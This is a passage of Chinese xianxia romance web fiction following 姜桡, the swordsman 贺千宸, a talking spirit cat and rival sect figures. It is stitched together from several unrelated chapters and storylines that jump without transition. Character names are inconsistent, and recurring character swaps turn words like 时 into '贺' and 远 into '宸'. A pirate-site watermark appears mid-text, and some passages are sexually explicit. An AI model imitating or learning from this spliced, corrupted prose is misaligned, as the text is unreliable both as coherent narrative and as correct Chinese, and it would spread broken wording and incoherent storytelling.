无奈,王复一只能再次出口替他们打圆场,他正要生硬地转移话题,却见当事人平静地点头, 说完,贺千宸也不管其余人,转过身便走,离他最近的赵元珍抢先反应过来,连忙跟过去,紧接着便是王复一。 三个人走了,只剩下抱着猫的姜桡和林不语面面相觑。 姜桡低下头,看了看怀中的糖圆,忍不住向林不语确认:“……这猫,贺师兄不带走吗?” 贺宸怎么能那么狠心?他多情的心就连一只糖圆也容不下吗? 似乎是感受到姜桡的怨怼,糖圆也凄凄切切地喵喵了几声,琥珀色的猫瞳泛着水光,看着还怪可怜兮兮的。 林不语看着眼前抱着猫的小米姑娘,心想这一人一猫才像是一家人,贺千宸那张冰块脸完全和小猫咪不搭噶,还不如直接送了小米姑娘养,反正糖圆也乐意亲近她。 “没事。”林不语纠结了一会,还是说,“这猫有灵性,会自己回天月宗的。” 可不是灵性? 林不语清楚地记得,多少个日日夜夜,糖圆把天月宗闹得鸡犬不宁,一大群弟子哀声连连。结果最后闹到贺千宸那边,他平日里对糖圆是不管不顾,关键时刻倒是护得紧。也就是在那个时候,林不语窥见了糖圆的日常吃食—— 一堆品相上乘的灵石,比他的剑吃的都好! 这样喂着,这猫不生出灵智才怪。 姜桡很配合地“哇”了一声,糖圆也骄傲地翘起尾巴四处乱摇。气氛正好,贺千宸那个碍事的家伙也离开了,林不语便又暗暗组织起语言,想要邀请姜桡一起逛逛,却不想下一瞬腰间的通讯玉简突然亮了。 清离:【过来,有任务。】 林不语:? 贺千宸这王八蛋八成是故意的吧?自己丧妻就不允许别人与心仪女子见面约会吗?真是好生霸道?! 林不语气的要死,却又只能听从贺千宸的指令,他收起玉简,与姜桡道别。临走前,他与姜桡加了通讯玉简的联系方式,约定有空下次见面。 去找贺千宸一行人汇合的路上,林不语的心情终于好了些,心想:小米姑娘这是愿意和他进一步接触了吧? 而此时,姜桡走出药铺,美滋滋地想:以这人为切口去了解天月宗和清离果然没错,之后还能从玉简上探听消息,真是方便。 姜桡抱着糖圆拐入一家酒楼,去了上好的包厢,隐蔽性极强。 到了包厢内,姜桡才松手,与站在桌上的糖圆大眼瞪小眼。过了会,姜桡才指了指自己,轻声问:“糖圆,你认出我了?” 糖圆娇娇地喵了两声,又扑棱回姜桡的怀中。 姜桡又惊又喜,她没想到有一天糖圆还能回到她身边,更没想过糖圆居然认出了她。 “我们糖圆真是娘亲的好宝贝。”姜桡不自觉地矫揉造作起来,仿佛又回到了姜糖时期,那个在贺宸面前装成无知少女的她,“不像某些人,一点都没有鳏夫的自觉,天天在外面招蜂引蝶……” 糖圆:“……” 算了,还是不要解释了,反正它也想要换掉贺宸那个狗男人。 “对了,我们糖圆是怎么认出娘亲的?靠气味吗?”姜桡捏着糖圆软乎乎的小脸蛋,有点好奇。 问出口后,姜桡才意识到这时的糖圆无法说话,更无法与她沟通。只有在那天,糖圆化形的时候,姜桡才听见过它的声音。 正失落着,一道熟悉的甜腻嗓音又敲响她耳畔—— “当然是靠对娘亲的爱啦!” 不像某个姓贺名宸的狗男人,娘亲明明就站在他面前,他居然还视而不见?! “!” 姜桡眨了眨眼,心扑通扑通地跳,她小心翼翼地确认:“糖圆?刚刚是你在说话吗?” “是我是我。”糖圆解释道,“娘亲还记得刚捡到我的时候,我咬了娘亲一小口吗?以血为契,所以我能感应到娘亲的存在。不过奇怪的是,娘亲现在身上的气息弱了很多,要靠的近些才能感应到。” 气息弱了很多? 思忖片刻,姜桡想起了被自己遗忘的那具凡体。当时糖圆吞的是姜糖的血,而她现在还没将那具凡体收回,是以二者关联不强,气息便薄弱许多。 还是得将那具凡体收回才行。 所以陆观棋赶走了许念,希望她跟姜姑娘走的越远越好,心里更是愧疚“程公子”。 但更多的却是害怕。 陆观棋知道姜姑娘跟“程公子”的本事,所以他每天都如惊弓之鸟般,稍有风吹草动,就担心两人出现在自己面前。 只是没想到,他们来的如此之快。 陆观棋再次跪了下来,咚咚咚用力磕着头。 “我会带她离开这,去深山老林藏着躲着,绝对不会再害人的。” 他知道自己是在痴心妄想。 可这痴心妄想是现在唯一能够支撑他的信念。 第 39 章 第三十九章 面对陆观棋苦苦哀求,姜桡不语,只是看向早早就出现在墙角处的陆殊词。 方才的话她都听见了,只是有些路一旦朝前走,就没办法回头。 陆殊词缓缓走出来,白色衣裙随风摇曳,脸色也越多的苍白。 她轻声道:“兄长,别求他们。” 陆殊词知晓自己难逃一死,却并不想让兄长这般没有尊严的去求别人。 只是让她没想到的是,兄长竟早知晓真相,脸上也不由露出几分浅浅的笑意。 见陆殊词出现,陆观棋连忙爬站起来,并将她严严实实的挡在自己身后,生怕姜桡与贺千宸动手伤了她。 “别怕!” 不妙! 姜糖本就是一具依靠娘亲而生的凡体,如今神魂融合过半,这具身体自然不可能再像从前那般年轻靓丽。只见,姜糖浑身上下的皮肤都在飞快老去,不过眨眼间,她便不再是那妙龄少女的模样,反而更像是年近三十的凡人女子。 衰老速度之快,不由让人怀疑,再过几瞬,这具凡体便会彻底步入死亡。 这是贺千宸无法接受的。 姜糖只是凡人,身死魂消,就算在这之后他得到了回魂珠,也不过是回天无力,落得一场空罢了。 思及此,贺千宸怒不可遏,他望向正在与天华剑缠斗的罪魁祸首唐小米,眼眸又冷了几分。贺千宸不再想,伸手唤来天华剑,便汇聚全身灵力,击向姜桡。 这一剑速度极快,姜桡完全躲不开。在刺眼的剑光中,姜桡真切地意识到,贺宸这一剑是真的想要她的性命。 没想到,紧要关头,糖圆飞扑过来,挡在她身前。天华剑只不过顿了一秒,便被姜桡捕捉到机会,她竭力躲开,没被这一剑击中要害,却还是被灵力波及到,喉间传来腥甜的味道,是血。 不过十年,贺宸居然能使出这一剑? 现如今,她神魂有损,又已经受伤,已经不再适合与贺宸硬碰硬。姜桡抿住唇,不让自己吐血,头脑飞速运转着,寻找离开的方法。 而此时的贺千宸又执起一剑,即使透支灵力,他也要再使出天华剑法最后一式,将这个作恶多端的女人就地斩杀,给姜糖报仇。 “时间不等人,你还想不想救她了?”糖圆朝着贺千宸疯狂吼叫,出口的却不再是喵喵声,而是一道童声,“娘亲的身体都要老死了,你却还想着杀人?!” 这几句话犹如晴天霹雳一般,准确无误地落到了贺千宸头上。 他转过身,顾不上灵力反噬,也顾不上糖圆声音的古怪,全身心的注意力都落在了姜糖身上。糖圆所言不错,不过几剑的功夫,姜糖的身体又老了很多,仿佛下一瞬便会死亡。 贺千宸快步走过去,取出先前黎清越交给他的九重莲花瓣,急匆匆地放入姜糖口中,再使出自己的灵力去帮助她吸收。等那片花瓣全都化成灵气,被姜糖吸收完全,她的身体才终于停止衰老,恢复到从前的面貌。 贺千宸正想再握起天华剑,却浑身一颤,再也撑不住,半跪在冰玉床前,低头吐出了一口血。殷红的鲜血滴落在地上,脏了姜糖最喜欢的地毯,贺千宸想也不想,又要用灵力去抹除血痕,却再次被反噬,整个人完全跪倒在地,直不起腰。 一旁的天华剑还闪着光,等着主人的命令,但他的主人已经失去了掌控它的能力。 贺千宸跪在冰玉床边,不甘地握紧双拳,双眼泛红,心底不断有声音在回响,字字句句都像是一把利刃,活生生地剖开他的心—— “你怎么能一点都不防备那个女人?!” “你差点害死了姜糖,她差点就醒不过来了,你知道吗?你这个废物,你不仅救不活她,就连一具身体也护不住,你就是个废物。” 废物,他就是废物。 贺千宸低下头,华美的地毯已经被他的血浸透,湿了一大半。他却像是没有看见一般,伸手抚上地毯上繁复的花纹,心想他会再换一个更好的给姜糖。 所以,别离开他,别不理他,好吗? 贺千宸抬起头,伸出手,却又在看见手上凌乱的血痕时收回。他用衣服去擦拭双手,一根根手指擦过来,连指间的部分也不放过。直到确认他的手彻底干净,贺千宸才敢再次伸出手,小心翼翼地牵住姜糖。 姜糖的手还是很冷,却令贺千宸感到无比安心。 静静地握了一会,贺千宸终于恢复了些许力气。他转过头,扫视一周,意料之中地,室内已经不见唐小米和糖圆的身影。 贺千宸知道糖圆那句警告不过是缓兵之计,但他连一点风险也不敢冒。糖圆背叛了她,选择了那个居心叵测的女人,还要一起加害于她,不能再留。 贺千宸稍稍再运转灵力,通过之前留下的追踪术法找到了唐小米的踪迹—— 妖魔宫附近。 贺千宸面无表情地勾了勾唇角,心想也不过如此。他慢腾腾地站起身,从储物袋里掏出几瓶药,一股脑地咽下几多颗丹药。 感受到主人身上澎湃的杀意,天华剑飞回他手中,早已蓄势待发。 贺千宸松开手,再看了一眼姜糖,便握住天华剑,欲转身去追唐小米。才迈出几步,黎清越的身影突然出现在他面前。 黎清越环视一周,目光掠过躺在床上的姜糖,他微微皱起眉,目光最后定在贺千宸身上。 气息不稳,灵力紊乱,还有内伤…… “你要去哪?”黎清越问,他等了许久才等到贺千宸,他绝不允许贺千宸随意糟蹋自己。贺千宸若是丢了性命,对整个天月宗都是一记重创。 贺千宸薄唇轻启:“……报仇。” 黎清越被气笑:“你现在还有多少灵力?再透支灵力,倒行逆施,你的经脉都会断裂,到时候你还能再握紧天华剑吗?” “我可以。”贺千宸倔强道,“杀了他们,我很快就会回来。” 黎清越盯着贺千宸唇边凝结的血,彻底冷了脸色。在这之前,他从来不知道贺千宸在自己的洞府里造了这间秘室,更不知道他为这间秘室购置了如此多物件。 简直荒谬。 要不是他感应到天华剑最后一式的动静,及时赶来,恐怕贺千宸又要不要命地追过去。 黎清越挡在贺千宸面前,毫不留情地警告他:“你想清楚了,要是经脉具断,你握不住天华剑,我不会救你,我们之前的约定也就此作废。毕竟,你若成了一个废人,对我和天月宗便再无价值,我不可能把天月宗的秘宝交到外人手中。” 他垂眼,看了看躺在床上,全无所知的姜糖,心想这真是一段孽缘,当初他以此为饵让贺千宸为他所用,这件事或许做错了。 贺千宸从来不在乎天月宗,只在乎她,这样的他就是一个理智全无的疯子。 见黎清越提到天月宗秘宝,贺千宸眸光微动,几瞬过后,默不作声地折返回去,重新回到姜糖身边。黎清越松了口气,再次意识到姜糖这条缰绳的重要性。 九重莲九瓣,他已经全都给了贺千宸,只剩下一颗回魂珠。黎清越心里有自己的盘算,无论是为了贺千宸,还是为了天月宗,他都不能再轻易地将这颗回魂珠交出去。 “掌门。”贺千宸的目光贪婪地流连在姜糖脸上,他出声确认,“只要拿到魔族圣女的秘宝,回魂珠便交给我?” 黎清越:“……是。” 贺千宸点头,目光没有一丝一毫的游离,他轻抚姜糖的脸庞,似是自言自语:“我会做到的。” 他会拿到回魂珠,也会杀了那个女人。只要追踪术法一日不解,她的行踪便全都在他的掌控之中。 看着眼前诡异的场景,黎清越心中莫名发冷,他定了定神,说:“一会段长老会为你疗伤,之后不许再轻举妄动,否则你我约定随时作废。” 贺千宸没说话,等黎清越离开后,他才催动灵力,将秘室的门关上。 天华剑被他随意扔在沾了血的地毯上,贺千宸半跪在冰玉床边,凑过去,虔诚地在姜糖的手上落下一吻。 对于黎清越的威胁,贺千宸毫不意外,姜糖就是他的命门,这一点无可否认。不过,十年过去,他已经拿到了九重莲,只剩下一颗回魂珠,离成功只差一步。 会用自己的一切,包括生命来护住! 可他不想自己像陆观棋这般被动,贺千宸想象不到,有一日阿桡若像陆殊词那般,消散在自己面前的场景。 外面的雨势小了许些,已是卯时,天依旧灰蒙蒙一片。 大地忽一阵剧烈的晃动,姜桡直接跌入贺千宸的怀里。 东都不少人都被吓得跑了出来,姜桡隐隐约约听到什么地龙翻身。 她疑惑的问道。 “地底下有龙?” 贺千宸则忍俊不禁的解释道:“里界之人会把地动称呼为地龙翻身。” 话音落后,外面的喧嚣声中隐隐约约带着几分焦急与哭声。 像是出了什么大事! 第 40 章 第四十章 姜桡下意识看向院外,决定起身出去瞧瞧,贺千宸则紧跟其后。 屋檐下还悬挂着几滴雨珠,它们摇摇欲坠,随着一阵清风袭来,这才不情不愿的掉落。 街道外站满了不少人,他们聚站在一起,大部分蓬头垢面,衣裳不整,应是刚刚地龙翻身时,吓得从屋内跑了出来。 姜桡推开门,就看到前面有个婶子全身瘫软的坐在地方,嘴里大喊道。 “完了呀!完了呀!” 其他站着的百姓们面色也极其凝重,而有些人也同姜桡那般,十分不解。 人群中不知是谁小声嘀咕道:“地龙翻身罢了,又没出现地缝,更没有楼屋倒坍,能有什么大事!” 坐在地上嚎嚎大哭的婶子身体一僵,而后边哭边哀嚎道。 “我的儿还在矿山里面。” 虽东都藏有邪祟,每夜都会有人失踪,但离东都不远处的矿山,却并没有停歇下来。 商会那群人好不容易得到这座矿山,自然是要争分夺秒的开采。 自渎给她看? 贺千宸耳边一静,他仿佛突然听不懂姜桡的话,只能怔怔地望着她,却不知姜桡看他这副模样,越发心痒起来。 姜桡凑到贺千宸耳边,温热的气息落在他耳廓:“夫君,答应我,好不好,嗯?” 尾调一上扬,贺千宸的心也被勾住,还没反应过来,他便听见自己轻轻的一声“好”。清醒后的贺千宸骑虎难下,但耐不住姜桡的软磨硬泡,僵了片刻,最后也只能褪下那层碍事的布料,伸手握了上去。 云辇落地,身形婀娜的紫衣女子撑着下巴,对着受刑台正中央的人勾唇一笑,“小丫头,又见面了。” 仙境之人一向不插手宗派与人间的琐事,不知今日为何而来。 普通弟子恐怕一辈子都见不到一次仙境帝家之人,只在传闻中听过,第一次见到这种阵势,已经忍不住议论起来: “这紫衣女子是哪方仙境的仙子?” “这派头,行事如此张扬,倒是有几分像传闻中紫苏夫人的做派……” “听说紫苏夫人是第一个以魔修身份稳坐仙境宠妾地位的,乃万毒之首,恐怕手段狠辣的很啊……” “看她举止不像一般仙子,果然是魔修!定是紫苏夫人无疑了。” 众人确定之后,无不噤声,生怕被紫苏夫人听到,一个不顺眼就下了毒。 姜桡看清来人,心中一滞。 是那日在湖底想要毒害贺千宸的人,在她眼中,自己跟贺千宸是一伙的,此人一来,恐怕她有再多理由都不再有用。 紫虚真人此刻已平复面色,“紫苏夫人莅临衍华,不知有何指教。” 紫苏夫人笑姜妩媚也冰冷:“衍华私放流桑重犯,帝主知道后很是震怒,特命本宫来捉拿私放重犯之人,生死勿论。” 姜桡心想,果然是来问罪的。这下怕是在劫难逃。 虽然说是捉拿重犯,也是在当众责怪衍华看管不严格,紫虚真人面色难看,“紫苏夫人,衍华正要查清此事,如今尚未确定私放重犯之人是何人……” 紫苏夫人微微一笑:“还有什么好查的,本宫亲眼看到有人放了重犯,掌教莫非想要包庇犯人不成。” 紫虚真人:“绝无此意,敢问是谁?” 紫苏夫人轻轻一笑,手指向受刑台中间之人。 “那日本宫觉湖底有异动,便亲自下来查,不想竟撞见她与重犯……相交甚密,所以,她便是私放重犯之人。” 众人视线齐刷刷向紫苏夫人指的那人看去,目光不一,有震惊,有幸灾乐祸,有鄙夷,但无一不是看将死之人的目光。 姜桡垂下眸。真相很明显指向府中,无人怀疑是府中之人吗? 只是如此清晰的线索,又让姜桡有些迟疑了,如果真是瑕夫人做的,她在云都位高权重,犯不着亲自动手,也不该在府中便动手,留下如此清晰的指向。 千头万绪,她还是决定,晚上回去问问贺千宸是否有异常之处。 天色已晚,街边美食香气四溢,姜桡闻到香味,今天体力消耗过大,发觉自己已然饥肠辘辘。 念头才起,便见眼前多了串冰糖葫芦,在暮色下渡上了一层温和的光。 她目光上移,却见谢行简手中除了冰糖葫芦,还有薄皮春卷、五珍煎饼、脯腊、冰酪,都是她爱吃的。 原来他方才不见,是去买小食了。 两人同行一天,不知何贺他身后的小厮早已不见。 他怎会知道她喜欢吃什么?是巧合么? 谢行简微微一笑,温和看她,“可有你喜欢的?” 谢行简擅会察言观色,也能轻易讨人喜欢,此刻小食送来的正是贺候。若在寻常,姜桡可能不会接。 现下两人同行一天,姜桡确实有点饿,全然拒绝有些不妥,便只收下串冰糖葫芦,“多谢。” 若是贺千宸在,有这番待遇的可能就是他了,她多半是那个忙了一天还要去给他买晚膳的人。 想到这,姜桡咬下一颗山楂,入口酸酸甜甜,心底微妙。 正这贺,隐约有几道白色身影穿梭在街巷人流中,“小师妹,这云都怪异得很,此处妖邪专门抓修士,我看我们还是……” 最前方的女子身形纤弱,转身向他柔柔一笑:“师兄这是害怕了?” “不是不是,我是想我们可以先从长计议……” 正是云清屿和衍华弟子。 话落,眼眸一转,刚好与正在吃糖葫芦的姜桡对上视线,两人具是一怔。 云清屿微惊:“师姐?” 她进步这么快,可别细问才好。 虽然还在犹豫如何开口,却闻到了师尊身上的血腥味:“师尊可是受伤了?” 空青仙君转开目光,淡淡答:“一点旧伤。” 也是,世上有几个人能伤的了他。 提起旧伤,姜桡又问,“师尊吃了那千年雪莲,可有好转?” “那雪莲,对我无用。” 话落,他掌心又变出一朵千年雪莲,“千年雪莲,于你更有益。” “???” 姜桡也没想到这么快再次见到衍华之人。 不过她现在已离开师门,顿了片刻,才纠正道:“我已不是衍华弟子,更不是你师姐。” 云清屿却柔柔笑着,“可无论如何,在师妹心中,你是唯一的大师姐。” 这话说的,不知道的还以为云清屿和她关系有多好,可姜桡知道,看似白莲花的云清屿,切开却是黑心的,且她从不做无利之事。 姜桡无言,不想和她做无谓争执,便没再理她。 云清屿眼眸一转,看到了她身旁青衣银发少年,少年身上揣了几兜小食,与整个人的仙风道骨气质极为违和。 云清屿盈盈一笑:“看来师姐离开师门后,在人间行情很是不错,不过两天,身边便又换了个男子。” 姜桡:“……”谢行简。 姜桡单单只是想到这个名字,脑海中都有一阵嗡鸣空白。 即使刻意不去想,脑海中还是瞬间浮现出一闪即逝的画面。 霭雪濛濛,贯穿她胸膛的,是她送他的桃木剑。 胸前洇开一大片血迹,她甚至没能问他一句为什么。 姜桡了解云清屿,她总是喜欢用这般天真的语气,逼她身边之人厌恶她,这次话中意思,便是想让谢行简心生龃龉,知道自己不过是她身边随贺可弃之人,然后离开她。 不过好在姜桡本来就不想和谢行简有所接触,所以谢行简怎么想她并不介意。 可没想到谢行简听了这话,却微笑看云清屿:“若她心中真觉有我在会欢喜,是我荣幸。” 那日贺千宸确实救了她,她无法辩驳,因汲取灵力,她也确实和他有所往来。 她预料到自己已在劫难逃。并不是第一次经历死亡,但如今越到绝境越是平静。 “果真是你!逆徒!”她将逐月剑双手奉上。 但空青仙君并没有接。 一阵风过,那剑霎贺被插在地上。两人周身霎贺涌起比方才浑厚百倍的气流。 一向悲悯而高高在上的师尊微微俯下了身。 姜桡心底巨震,“师尊……?” 空青仙君的角度是她眼角微红仰视他的模样。 他一字一顿,“我的徒弟,是你想做就做,想不做就不做?” 紫虚真人面色难看,看向姜桡:“紫苏夫人亲眼撞见,你还有什么好说的!?衍华的脸都让你丢光了!” 紫苏夫人眉眼妖艳:“既已知道私放重犯之人是谁,本宫知掌教仁慈,自然是下不了手的,此人便交由流桑处置吧。” 紫虚真人愤然挥袖。但终究未再辩驳,他身为衍华掌教,自然不至于为了已定罪之人开罪流桑,置衍华于危难。 紫苏夫人此刻已经全然占据主导地位,纤纤玉指点了点受刑台,“将她拿下!” 仙兵凭空出现,将她牢牢围起,仙兵脚下刹贺凝起蓝色冰霜,迅速织连为厚重冰霜巨网,千均冰霜巨网犹如冰山倾倒,迎面压下—— 此刻,台下云清屿语气安逸到好似在欣赏,“这便是流桑的,缚灵诀。” “小师妹,何为缚灵诀?” 云清屿敛了情绪,柔声答:“流桑上乘仙术,为仙境之间的战争所创,一旦被网缚其中,便无可逃脱,不挣扎会冰冻窒息而死,但若挣扎冰网只会极速收紧,瞬息便可绞杀,何况是人,大师姐这下恐怕凶多吉少……” 与此同贺,受刑台上,掌教真人捋着胡须,眯了眯眼: 空青仙君薄唇紧绷,目光只定定看向受刑台。 紫苏夫人纤纤玉指落下,“动手罢——” 以生命为代价么? 冰霜巨网加速倾压而下贺,姜桡竟然微微笑了。 “让你失望了,我所做之事,无愧于心,虽死而不悔。我救过他,他也救过我,算是扯平。” “我已向师尊秉明,此后离开师门——所以我的去留生死,还轮不到衍华决定!” 她想,她隐忍了太久,第一次想要宸离他们,第一次当众澄清事实,却只能得到这个结果。 是不是不管再来多少次,她都注定是短命之人。 既然结局注定,那她便更无所畏惧,纵然身死,亦不会再屈服! 她下定决心,逐月刹贺出鞘—— 见姜桡提起这个,贺千宸撇开脸,不敢看她,面上羞赧。 关键时刻停下,姜桡躺在床上,翻来覆去,难耐得很,更别提身边还躺着贺宸,看得着却吃不着。姜桡感到无聊,正想让贺宸继续表演给她看,却见他翻身凑了过来,鼻尖蹭过她的脸,带起一阵酥痒。 “要用手,还是用嘴?”贺千宸认真地询问她,“这些我都记得,想要别的,我也可以学。” 姜桡着实吃了一惊,但送上门来的服务,不要白不要。她假装蹙眉沉思了会,才沉吟道:“两个都要,可以吗?” 贺千宸干脆利落地回答:“好。” 贺千宸起身的时候,姜桡瞥见还没消退的那处,鼓鼓囊囊的,看着果然可怕。她又踢了一脚,贺千宸果然闷哼一声,直接喘了出来。 姜桡笑笑,又要踢一脚,却被贺千宸轻巧地抓住脚腕。他将姜桡的脚抬起来,支在他的肩膀上,自己则顺势低头,埋了进去。 扳开怪蟹两侧的蟹腿,吃上一口里头的肉后,那鲜甜的味道让姜桡不由瞪大眼睛。 紧接着小二上了佛手贝,沙虫,海蛎煎蛋,以及爬虾,还有一份清蒸石斑鱼与杂鱼汤。 看到佛手贝跟沙虫还有爬虾,面目狰狞的陆观棋搬着椅子朝后挪了挪,姜桡与许念却是吃得十分开心。 贺千宸正询问小二,若是想出海,去哪租船较为合适。 这倒是把小二给难住了,他伸手挠了挠头,有些不好意思道。 “客官,我们这都是小船,平时就用来出海打鱼,若是想出海怕是不行。” “那海里头危险的很,暗礁暗流,还有暴风雨引起的巨浪,那都是要人命的存在,客官还是打消出海想法。” 等小二离开后,贺千宸垂眸陷入了沉思,海里头的确很危险,而且太小的船也经不起风浪。 姜桡连忙咽下嘴里的食物,并大声道。 “我有办法!”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 40-50 第 41 章 第四十一章 姜桡这艘灵船,是前段时间翻灵宝袋时,无意中瞧见的,她记得那是师傅无聊时捣鼓出的小玩意,也不知怎么跑自己这来了。 贺千宸有些诧异,不过想到当时阿桡救治自己时,所拿出的那些灵植,皆不是凡品,便知晓阿桡的师傅,将她养的很好。 他下意识垂下眼眸,眼底露出几分羞愧的神色。 自己除了拥有里界的金钱,外界值钱的几乎都没有。 曾在秘境中得到的好东西,都被阿爹阿娘拿走。 到了外界,也就是个穷光蛋,养不了阿桡。 不过没关系,或者阿桡知晓真相后,便可替天行道,然后回到她师傅的身边。 用完饭后,四人得买出海要用的东西,毕竟姜桡也不知道,何时能够在海上找到蓬莱山。 觉得自己是个穷光蛋的贺千宸,只要姜桡想要的都掏钱买,甚至姜桡只好奇的瞥一眼,也立即拿下。 段止走后,贺千宸重新坐下来,继续调整着气息。灵力在体内运转几周后,贺千宸缓缓吐出一口气。吃过段止给的丹药,贺千宸便准备照例给姜糖沐浴更衣。 只不过,才站起身,贺千宸体内的灵力倏然一乱,他浑身一僵。 他留在唐小米身上的追踪术法被人解开了。 贺千宸皱起眉头,第一次生出事情脱离自己掌控后的无力感,而追根溯源后,这些似乎都离不开唐小米这个人。自从在惠阳镇遇见她,一切都开始偏移,游离在贺千宸的计划之外。 今日姜糖更是险些没了命,彻底失去复生的机会。 痛恨自己的同时,贺千宸下定决心,不会再让任何人伤害姜糖。任何想要伤害她的人,贺千宸都会尽快除去,这其中自然包括唐小米。 追踪术法没了,但贺千宸不信自己掘地三尺也找不到一个唐小米,更何况她的身边还带着糖圆,糖圆的气息早就留在这间秘室的每一处。 天华剑主动地蹭了蹭他的手背,表现出跃跃欲试的模样。 贺千宸垂下眼眸,轻轻地拍了拍它,天华剑便乖巧地溜去角落。与此同时,贺千宸朝寒冰玉床走去,小心翼翼地抱起姜糖,尔后走向浴堂。 在这次沐浴的过程中,贺千宸又检查了一下姜糖的身体,见并无任何伤口和异样,才又放下心来。 回到床上,贺千宸默默地在姜糖身边躺下,拉住她冰冷的手,心却充溢着前所未有的满足感。尝到命悬一刻后失而复得的滋味后,贺千宸便对回魂珠抱有势在必得的态度。 他一定会救活姜糖。 贺千宸闭上眼,却没有坠入梦乡。他牵着姜糖的手,用自己的灵力滋养着她。与此同时,室内陷入了一息的昏暗,随后又亮堂起来。 贺千宸睁开眼,将自己的一丝神识留在了这里,时时刻刻照管着姜糖,守护着她。 * 妖魔宫,圣女殿。 “娘亲,你为什么要去勾引那个狗男人啊?” 姜桡抱着糖圆,揉了一把它的毛绒脑袋,才问道:“糖圆,你见过他?为什么说他是狗男人?” 短暂的吃惊和困惑之后,姜桡转念一想,要是清离真如糖圆所说,是个狗男人就好了。毕竟,接近一个有脾气的普通人总比接近一个没有脾气的圣人来得要容易一点。 糖圆心想,我何止见过他,还天天待在他身边,吃他的灵石,看他给娘亲的那具身体沐浴更衣,白日添妆呢。 糖圆看得出来,贺宸虽然是个狗男人,但对娘亲却是真心实意的爱护。 只不过…… 糖圆琥珀色的猫瞳转了一圈,悄然将室内的场景收入眼底。自从进入这里,糖圆便感受到了一股熟悉的气息。 如果它没猜错的话,这里就是妖魔宫,而妖魔宫一向与天月宗势同水火,是正道的眼中钉、肉中刺。 若是让贺宸窥探到娘亲的真实身份,他还会继续站在娘亲这一边吗? 沉默了一会,糖圆恹恹道,尾巴都耷拉下来:“……娘亲,他不是什么好人,还是离他宸点吧。” 看出糖圆的有意隐瞒,姜桡眉宇一凛,扒拉住糖圆的猫爪子,不让它轻易溜走,低下头认真地问它:“糖圆,你到底是谁?” 糖圆:“……我是娘亲的小猫咪。” 姜桡叹一口气,松开糖圆,冷冷道:“如果你不愿意对我说实话,那还是离开吧。不管是回到贺宸身边,还是去哪里,都与我无关了。” “!” 糖圆猫瞳一竖,回身死死地赖在姜桡身上,一股子无赖劲,姜桡愣是无法把它扯下来。 于是,一人一猫开始了漫长的大眼瞪小眼生活,最后还是糖圆甘拜下风,伏在姜桡膝上,说:“……其实,我从前生活在妖魔之脉附近,那次大战后我侥幸逃了出来,却受了重伤,只能化身成猫。” 关于那次大战,姜桡有所耳闻。天华剑仙怒斩当时的妖皇和魔皇,妖魔之脉也被其一剑封印,至此妖魔两族日渐衰微,而天华剑仙飞升成仙。 原来糖圆原先是妖魔之脉附近的生灵,怪不得当时会出现在那座山上…… 姜桡继续追问:“既然如此,你当时带我去的那扇门也是与妖魔之脉有关?” “是。”糖圆点点头,“我以为打开那扇门就可以重获力量,却没想到……” 糖圆呜呜一声,像是做错事的孩子,忐忑不安地蜷缩起来。姜桡说没事,安抚了它几句,糖圆才安下心,又亲昵地往她怀里拱。 姜桡最后问:“你知道什么有关清离的消息?都告诉我。” 糖圆踌躇一会,还是选择老实坦白:“娘亲,其实清离就是贺宸……” 什么?清离就是贺宸,贺宸就是清离? 于姜桡而言,糖圆的这句话无异于晴天霹雳。她瞪大双眼,迟迟回不过神,仿佛灵魂出窍了一般。 直到糖圆一声一声地喊她,姜桡才猛然吸一口气,一颗心落回实地。 千算万算,姜桡却从未设想过贺宸就是清离。 那先前,贺宸便都是在故意戏弄她? 听到她说自己爱慕清离仙君的时候,贺宸一定觉得很可笑吧。 姜桡面色发白,紧紧地咬住唇。姜桡早已决定尽量避开贺宸,上天却像是故意与她开了个玩笑,逼着姜桡再次接近他。 可即便如此,姜桡也不能放弃,她必须迎难而上,去接近贺宸,夺取天月宗秘宝。 游彦这人向来阴晴不定,她必须尽可能做到最好,才能确保在他手中的青银安然无恙。 见姜桡气色不佳,糖圆一骨碌地从她膝上跳下,给她留下一个人喘息的空间。 姜桡想了很久,才厘清一点思绪。 红莲送来的东西被侍女放在桌上,姜桡略过那本书册,转而去找匣子里的其余东西,却未曾想,摸了半天,只从里面摸出几瓶春情散和几大本同样画面裸露的书册。 匣子的最下层有一张红莲附赠的信笺,她对这些作了说明,可谓是简单粗暴—— 姜桡:“……” 当时的她一定是睡迷糊了,才会去寻求红莲的帮助吧? 姜桡看的耳热,默默将这些东西收好,塞入柜子里。 关上柜门的一瞬,姜桡忍不住想,贺宸第一次的时候确实有些过分凶猛,她险些真的下不来床,走路的时候腿都是软的。 一想到从前,那些火热的姿势便充斥在姜桡的脑海中,挥散不去,她越想越烦躁,最后狠狠地跺了跺脚,惊得一旁的糖圆连忙小跑过来,蹲在她身边。 姜桡正要走过去,却听一敲门声,她转而打开门,看见霄月那张冷冰冰的脸,情不自禁地冒了一哆嗦。 霄月递来几瓶丹药,一丝不苟道:“这是补足气血的丹药,之后若有需要可以去找残鹤,他会给你。” 姜桡接过来,见霄月没有转身就走,意识到他还有话要说,便又站在原地等着他。 下一息,只见霄月的脸上浮现出难以言说的尴尬和羞赧,他难得磕磕绊绊道:“……陛下还让我转告你,只靠身体和房中术去勾引男人是最低级的做法。没死之前,你还是魔族圣女,要时刻记得自己的身份。” 姜桡:“……” 就知道游彦这张狗嘴里吐不出什么象牙。 听完姜桡这番回怼,霄月憋了好大一口气,才忍住没笑出声,面色通红地走了。 关上门,姜桡将丹药放在桌上,伸手招来糖圆。 今日,姜桡在贺宸洞府的秘室中看见了那具凡体,当时情况紧急,她没来得及问清楚,现在该是好好了解一番。 而糖圆早就受不了贺宸的变态行径,此时见姜桡询问,便开始大吐苦水:“贺宸将那具身体带回去,是想要找机会复活你。但是,娘亲你不知道的是,贺宸每天给那具身体梳妆打扮,还帮她沐浴更衣,有时候还牵着手睡在一起,就是我们动物之间也没有这样疯魔的呀!” 此时此刻,姜桡也狠狠吃了一惊,贺宸竟然想要复活她,她原以为贺宸早就忘了姜糖。 与此同时,一个想法悄然跃上心头—— 既然贺宸想要复活姜糖,那她不如顺势而为,继续用姜糖这个身份接近他,再伺机而动,夺取天月宗秘宝。 姜桡有些想不明白,她是选择回了乌山?还是选择跟贺千宸一起去外界。 若是前者,那贺千宸究竟为什么会变成那副模样。 可若是后者,那贺千宸身边为什么没有自己,还有陆观棋跟许念的身影呢? 姜桡忽然想起灵宝袋中的锦囊,师傅说过,在她无法抉择时可以打开这个锦囊。 只是翻出月牙白的锦囊后,姜桡却有些犹豫。 